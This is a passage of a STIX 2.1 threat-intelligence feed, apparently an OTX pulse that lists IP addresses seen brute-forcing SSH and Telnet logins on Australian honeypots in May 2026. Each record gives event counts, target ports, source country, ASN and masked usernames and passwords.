      "modified": "2026-05-24T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.47.158.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T06:15:10.000Z",
      "valid_until": "2026-06-25T06:15:08.000Z"
    },
    {
      "created": "2026-05-24T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TG. ASN(s): 36924. Organisation(s): GVA-Canalbox.",
      "id": "indicator--ae362ebd-ff1e-4c27-8dcf-b2c748cfd7a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.64.168.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T06:15:10.000Z",
      "valid_until": "2026-06-25T06:15:08.000Z"
    },
    {
      "created": "2026-05-24T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 77. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********0, H**********************3.",
      "id": "indicator--f4117b78-575d-4b63-a0f7-764f789db6bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.77.144.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T06:15:10.000Z",
      "valid_until": "2026-06-25T06:15:08.000Z"
    },
    {
      "created": "2026-05-24T06:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 211183. Organisation(s): AdminVPS OOO.",
      "id": "indicator--f0dc3502-ccc5-4ddc-9ee0-c5ee1c6bb672",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.35.124.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T06:15:10.000Z",
      "valid_until": "2026-06-25T06:15:08.000Z"
    },
    {
      "created": "2026-05-24T06:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--da0e8916-4cd3-4bfd-9eab-02272c59f7e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T06:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.226.69.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T06:15:10.000Z",
      "valid_until": "2026-06-25T06:15:08.000Z"
    },
    {
      "created": "2026-05-24T07:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 34977. Organisation(s): Procono S.A.. Usernames observed (masked): r**t, i**o, 3**********4, a***n, a**a. Passwords observed (masked): ***, 1**4, 3***********4, 3**********4, A*********.",
      "id": "indicator--f96bdfa5-13b8-4951-b00c-8767d9ac11fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.91.97.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T07:15:12.000Z",
      "valid_until": "2026-06-25T07:15:08.000Z"
    },
    {
      "created": "2026-05-24T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 18209. Organisation(s): Atria Convergence Technologies Ltd..",
      "id": "indicator--9d70f769-764c-46a2-9833-3104371af0b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.83.154.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T07:15:12.000Z",
      "valid_until": "2026-06-25T07:15:08.000Z"
    },
    {
      "created": "2026-05-24T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 56489. Organisation(s): FLP Bogachenko Vasyl Valentinovich.",
      "id": "indicator--7047d9bb-1ce6-4685-b47f-778a64be3384",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.22.111.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T07:15:12.000Z",
      "valid_until": "2026-06-25T07:15:08.000Z"
    },
    {
      "created": "2026-05-24T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 266831. Organisation(s): MONGELOS ARCE MARCIALDELTA NETWORKS.",
      "id": "indicator--bd0c93e3-1946-411c-9e0d-5bdbcedd2cae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.238.38.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T07:15:12.000Z",
      "valid_until": "2026-06-25T07:15:08.000Z"
    },
    {
      "created": "2026-05-24T07:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 620. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): r**t, a***n, d****y, ***, r*****r. Passwords observed (masked): 1****6, *, ***, a******3, 0**0.",
      "id": "indicator--e6fbbe65-19a1-4b14-a5fa-dcfbb5be3609",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.251.5.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T07:15:12.000Z",
      "valid_until": "2026-06-25T07:15:08.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): r**t, s***m. Passwords observed (masked): n************3, t******4.",
      "id": "indicator--18520678-1855-43b6-abf2-ed04019ff816",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.226.213.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): **, p*******s, r**t, u***1. Passwords observed (masked): 1****6, 1********0, 3***********4, A******#, p*******s.",
      "id": "indicator--1497507f-d15d-4b47-ad60-16a03341e6a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.124.85.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, t*******r. Passwords observed (masked): 1***5, T*********3.",
      "id": "indicator--25366d54-9933-4bde-81f7-9288c1cce763",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.254.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, h**s, j***n, n***x. Passwords observed (masked): !******x, ***, 3***********4, 3**********4, h**s.",
      "id": "indicator--d474f360-96c7-4470-9612-a31b21a7982f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '162.243.147.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, **, u****u, a***n, f*****r. Passwords observed (masked): 3***********4, 3**********4, 1****1, 1****6, 1********0.",
      "id": "indicator--39782421-bbf1-4558-ba93-5b36836ccd3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.24.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH. Usernames observed (masked): r**t, 3**********4, d****n, k***a, s*****r. Passwords observed (masked): 3***********4, 3**********4, A******3, P***********5, S********4.",
      "id": "indicator--d77cbe31-47e8-48aa-bec7-313877dc3d79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.105.22.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 271206. Organisation(s): Ch Informatica Ltda.",
      "id": "indicator--588e3774-2be9-4153-ae33-f7aa6d7dc035",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.42.124.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 3816. Organisation(s): COLOMBIA TELECOMUNICACIONES S.A. ESP BIC. Usernames observed (masked): r**t, s***m. Passwords observed (masked): n************3, t******4.",
      "id": "indicator--a3ba4d80-eda5-421b-abb3-bd39e929a3ce",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.234.16.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a46cf41e-7386-46ef-adf7-ad64b2747235",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '183.154.34.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): u**r, 3**********4, a**a, d***o, g***********r. Passwords observed (masked): 3***********4, 3**********4, L******6, P*******1, a**a.",
      "id": "indicator--8b4939c3-a001-4f71-94c8-3946f93c3d8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.170.31.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27717. Organisation(s): Corporacion Digitel C.A..",
      "id": "indicator--64a1e7be-d72f-4c12-8730-37b6d34ff041",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.121.239.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27717. Organisation(s): Corporacion Digitel C.A..",
      "id": "indicator--d644e876-e94a-481a-bbcb-68c4c9b6bffa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.121.239.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4514c081-6ed2-4ea1-8d82-24ce481cfef7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--11096197-cfde-4f02-97c4-5c46c8ae3c2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.64.104.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 55803. Organisation(s): Hostopia Australia Web Pty Ltd. Usernames observed (masked): g********r. Passwords observed (masked): 1******8.",
      "id": "indicator--d787d512-b071-4178-acb4-02adff50e33e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.27.17.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 41745. Organisation(s): Baykov Ilya Sergeevich. Usernames observed (masked): r**t, 3**********4, t**g. Passwords observed (masked): 3***********4, 3**********4, r********3, t********f, t**g.",
      "id": "indicator--d6a0e595-e434-41ef-8369-b9d958df8452",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.144.233.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T08:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 38700. Organisation(s): SMILESERV. Usernames observed (masked): n*****r, n****s, p******s, r**t. Passwords observed (masked): a********n, n*******3, q**********4, t**t.",
      "id": "indicator--c230734a-c406-4176-ae92-0eb70b2fed48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T08:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.247.37.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T08:15:06.000Z",
      "valid_until": "2026-06-25T08:15:03.000Z"
    },
    {
      "created": "2026-05-24T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, t****l, 3**********4, s*****e, *. Passwords observed (masked): #*******1, ***, 1******x, 3***********4, 3**********4.",
      "id": "indicator--8f6b6fa9-ec95-4002-8edc-a8cba62e86ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.212.184.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T09:15:05.000Z",
      "valid_until": "2026-06-25T09:15:03.000Z"
    },
    {
      "created": "2026-05-24T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, t****s, 3**********4, a**r, c****d. Passwords observed (masked): *, 1****6, 3***********4, 3**********4, A******6.",
      "id": "indicator--e916cecc-8201-43f7-a94e-595b982d2da9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.92.17.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T09:15:05.000Z",
      "valid_until": "2026-06-25T09:15:03.000Z"
    },
    {
      "created": "2026-05-24T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53153. Organisation(s): CINTE Telecom Comercio e Servicos Ltda..",
      "id": "indicator--a71ceb56-8454-4908-a3e0-70316d079790",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.209.109.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T09:15:05.000Z",
      "valid_until": "2026-06-25T09:15:03.000Z"
    },
    {
      "created": "2026-05-24T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--9e01c6a5-4f51-44f7-827a-8cb302680a81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T09:15:05.000Z",
      "valid_until": "2026-06-25T09:15:03.000Z"
    },
    {
      "created": "2026-05-24T09:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A.. Usernames observed (masked): r**t, 3**********4, c***d, ***, i****l. Passwords observed (masked): 3***********4, 3**********4, A***n@123456., Q********3, c***d.",
      "id": "indicator--5488a3b7-837a-4fc0-81a6-3f5f7373f7ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.153.125.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T09:15:05.000Z",
      "valid_until": "2026-06-25T09:15:03.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4, d*****r, t******r. Passwords observed (masked): 1****6, 1*******n, 1********!, 1********T, 3***********4.",
      "id": "indicator--a2482014-7104-457c-b912-adabcb492e3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.172.71.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f84dc8c4-f738-46ab-9978-8d988aa515bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-24T10:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.99.128.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-24T10:15:11.000Z",
      "valid_until": "2026-06-25T10:15:08.000Z"
    },
    {
      "created": "2026-05-24T10:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, f*****r, t*******r, w*****m. Passwords observed (masked): *, 1**4, 1********y, 3***********4, 3**********4.",
      "id": "indicator--7dc49f16-4b79-4f5a-9313-514eb8f38f8f",
      "labels": [
        "bruteforce"
      ],
